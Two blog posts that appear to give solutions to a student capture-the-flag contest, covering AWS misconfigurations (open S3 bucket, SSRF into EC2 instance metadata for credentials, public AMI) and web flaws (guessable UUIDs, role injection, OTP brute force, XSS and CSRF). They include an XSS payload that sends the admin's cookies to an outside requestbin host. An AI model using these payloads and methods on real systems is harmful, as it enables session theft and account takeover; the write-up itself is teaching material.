Hackaday 2020 – Securing the basics [P-2]

Cloud Challenge

Every year, DarkLab organises a Capture the Flag cybersecurity competition designed for undergraduate students aiming to raise the competency level of future talents to better prepare them for a meaningful career in cybersecurity.

HackaDay 2020 was held on 2 December 2020, and saw the Open University of Hong Kong’s YH team crowned as winning team, and the Hong Kong University of Science and Technology’s Machine Brickers as runners up.

The theme this year was “Security the Basics”, based on the experience and real life challenges that organisations in Hong Kong have faced in 2020 – as observed by our own Red Team and Incident Response professionals.

In this series of three blog posts, we want to provide the solution to the different challenges students faced. We hope that this will stimulate even more students to get their hands on the keyboard next year!

Make it Rain in the Bucket (50 pts, 14 solves)

Description: Unintended sensitive information disclosure comes in many shapes and forms.  You would be surprised with the information you can find through detailed enumeration and a bit of online research.  Can you unlock the secrets within to take you to the next part of the network? http://www.hackaday.info

P.S. AWS account is not required for this question

This first challenge is meant to emulate an unsecured AWS s3 bucket. The website hackaday.info is a static webpage hosted as an AWS S3 bucket. When hosting a website as an AWS S3 bucket, the bucket name (hackday.info) must match the domain name (hackday.info).  By enumerating the site with a ping request, we get the following data:

The ping returns with the domain name s3-website.ap-east-1.amazon.com. If we access the domain, it will return the objects stored in the bucket.

An interesting file should catch your attention – admin_users_only/useraccess.txt -which contains the first flag.

Keys behind the wall (100 pts, 8 solves)

Description: There might be something insecure with this web application, if you could find the keys behind this application, you are one step closer to the image. The flag format is hackadayxxxxxxx

This challenge was meant to emulate a SSRF vulnerability in the application hosted on an AWS EC2 instance.

The SSRF attack allows to request the metadata of the EC2 instance. In AWS the metadata can be access by browsing to http://169.254.169.254.

As shown below, the AccessKeyId, SecretAccessKey and token are exposed, and an attacker could then impersonate the role attached on the machine using the temporary credentials and conduct additional discovery. The second flag is the role name.

Secret in the Image (200 pts, 1 solves)

Description: The secret lies in the image

This challenge was meant to emulate a misconfigured AMI-image which allows public access. With the credentials for programmatic access to AWS obtained from the second challenge, we can use our own AWS account to impersonate the role by changing the authentication file ~/.aws/credentials.

Once we assume the role, we can start enumerating the policies attached to the role to determine the level of privilege that the role has.

As shown above, the role has two policies attached. The hackadaypolicy is a custom policy created for this role. The next step would be to enumerate the hackadaypolicy to determine what permissions are assigned in the policy.

The screenshot above shows all the permissions that are assigned to the policy. If we enumerate all the permission given, we would stumble upon ec2:DescribeImage which has the parameter set to public = true with the AMI-ID shown.

This shows that the AMI-image created by this role is set to public, which allows everyone with an AWS account to access it.

We can then search for the instance from the community AMI group and launch the instance.

Once we launch the AMI , the 3rd flag can be found under the /tmp folder of the EC2 instance.

That’s it for this challenge, stay tuned for the third and last post which will walk through the Incident Response and Threat Intelligence challenge.

Hackaday 2020 – Securing the basics [P-1]

Web Challenge

Every year, DarkLab organises a Capture the Flag cybersecurity competition designed for undergraduate students aiming to raise the competency level of future talents to better prepare them for a meaningful career in cybersecurity.

HackaDay 2020 was held on 2 December 2020, and saw the Open University of Hong Kong’s YH team crowned as winning team, and the Hong Kong University of Science and Technology’s Machine Brickers as runners up.

The theme this year was “Security the Basics”, based on the experience and real life challenges that organisations in Hong Kong have faced in 2020 – as observed by our own Red Team and Incident Response professionals.

In this series of three blog posts, we want to provide the solution to the different challenges students faced. We hope that this will stimulate even more students to get their hands on the keyboard next year!

Web Challenge – With great power comes great responsibility!

Hackaday Chat System 1 (100 pts, 4 solves)

This challenge is meant to exploit the broken access controls of a website. After registering and login with an account, you will notice that there are several accounts created (i.e. operator_day1, admin_day1, admin_day2) from the “Select User” drop-down list. The account operator_day1 will be our target for this challenge.

The key element is the user’s UUID form in the user profile page. The user’s UUID for this system is crafted from MD5 hash of the user email. Using an md5 generator, we are able access the profile page of operator_day1 by entering /profile.php?uuid=14a7a7da8dfcba61a4af2b695a553cf0.

Inside operator_day1 profile page, we can retrieve the password SHA256 hash of the user. Using an online hash cracking site, we are able to recover the plaintext password of the operator’s account.

After logging in with the operator account, the flag will be displayed at the chat box.

Hackaday Chat System 2 (150 pts, 1 solve)

This challenge is an extension of the Chat System 1. This time, the account admin_day1 will be our target.

In the operator_day1’s profile, a new endpoint – updateUser.php – is available to update username or password. However, after clicking the button, an error message is prompted saying the naming function is in maintenance.

Using a web proxy tool, we can change the “from” data of the request to delete the name changing parameter. As the endpoint is also vulnerable to parameter injection, adding a new data field “role” would grant us the role of the user.

Here we crafted a request to change the role of operator_day1 to administrator, which is same as the role of admin_day1.

With administrator privileges, we can now change the password of admin_day1 to another one of our choice. (Note that UUID in the request is the one from the admin_day1 account)

After logging in to the system with admin_day1 account, we can retrieve the flag in the chat box.

OTP Member Portal (150 pts, 0 solves)

Description: Multi-factor authentication (MFA) is an electronic authentication method in which user is granted access to a website or application only after successfully presenting two or more pieces of evidence (or factors) to an authentication mechanism: knowledge (something only the user knows), possession (something only the user has), and inherence (something only the user is) – SUPER SAFE!

This challenge aims to bypass the password login process and brute force weak a MFA system.

Once you register an account in the system and complete a normal login process, you can notice that:

  1. You would need an account from Hackaday Chat System in order to receive OTP
  2. The OTP is 3-digit code from 100-999
  3. Account will be locked after 5 incorrect OTP login attempts
  4. You can send request to reset the fail counts and the OTP
  5. The target account of this challenge is admin_day2@hackaday.com
  6. Exploiting the target account in Hackaday Chat System would not work since admins will not receive OTP from chat system
  7. The normal login process is represented in the below graph

The point of exploitation is from the password login. Due to broken access control, after the “password incorrect” message is prompted, we can still access the OTP login page directly with the target account information embedded in the PHP session.

You could therefore write a script to exploit the system by bruteforcing the OTP system:

  1. Login on the account admin_day2@hackaday.com with random password
  2. After seeing the “password incorrect” message, directly access /OTPlogin.php
  3. Brute force the OTP at maximum 4 times
  4. Submit request to resend OTP if all attempts failed
  5. Repeat step 3 and 4 until the OTP login is successful
  6. Access member.php with the same PHP session

A sample program written in Go (otp-sample.go) is provided for reference.

After finishing the above steps, the flag will be displayed at profile.php.

OTP Admin Portal (100 pts, 0 solves)

This challenge aims to exploit the file uploading feature in the system. We are allowed to upload any files to the system with the only limitation being on file size. After uploading a .htaccess file with directory listing enabled (‘Options +Indexes’), we can find the flag with the link provided.

Simple Message Board (250 pts, 3 solves)

Description: I found a message board online and seems that there is a secret hiding which can be only access by the admin. Do you know how to get the secret?

This challenge is aimed at exploiting the message board system with Cross-site scripting (XSS) and/ or Cross-Site Request Forgery (CSRF).

In the message board system, we are given three functions: one for posting a message to the board, one for clearing the log, and one for getting the flag.

It is observed that:

  1. Someone (likely the admin) is frequently accessing the board and clearing logs
  2. Both name and message fields are vulnerable to XSS
  3. There is a hidden field (csrf_token) in the “Get Flag” form
  4. There are PHP session ID and a field named “Admin” in the cookie, changing the value of “Admin” field to “Admin” will not work also

The target of this challenge is to force admin to somehow click the “Get Flag” function or steal the session (cookies) from the admin.

Solution 1

To solve the challenge, we could write a script to force admin to access the “Get Flag” function:

<script>

setTimeout(function(){

      var xhr = new XMLHttpRequest();

      xhr.open("POST", "getflag.php");

      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

      xhr.send("csrf_token=" + document.querySelector("input[name=csrf_token]").value);

}, 1)

</script>

The script will do the following procedures:

  1. Query the value of csrf_token in the page
  2. Send a form request to getflag.php to trigger the function

As there may be situations that the script run without csrf_token properly loaded, some time delay (such as using settimeout, onerror etc.) is required such that the script would be executed successfully on the admin side.

After sending the script to the board and wait for a second, the flag will be shown on the board.

Solution 2

To tackle the challenge, we could setup a listener (e.g. pastebin) for receiving http request and send the following script to the message board:

<script>fetch("http://requestbin.net/r/<ID>/?a="+document.cookie)</script>

By using this script, if admin accessed the message board, a HTTP GET request will be sent to our requestbin service with all cookies logged.

After a short waiting, we will receive the above request with the information we need.

With the cookies of the admin account, we can now get the flag by clicking the “Get Flag” button.

Stay tuned for the second part of this blog series: Cloud challenge.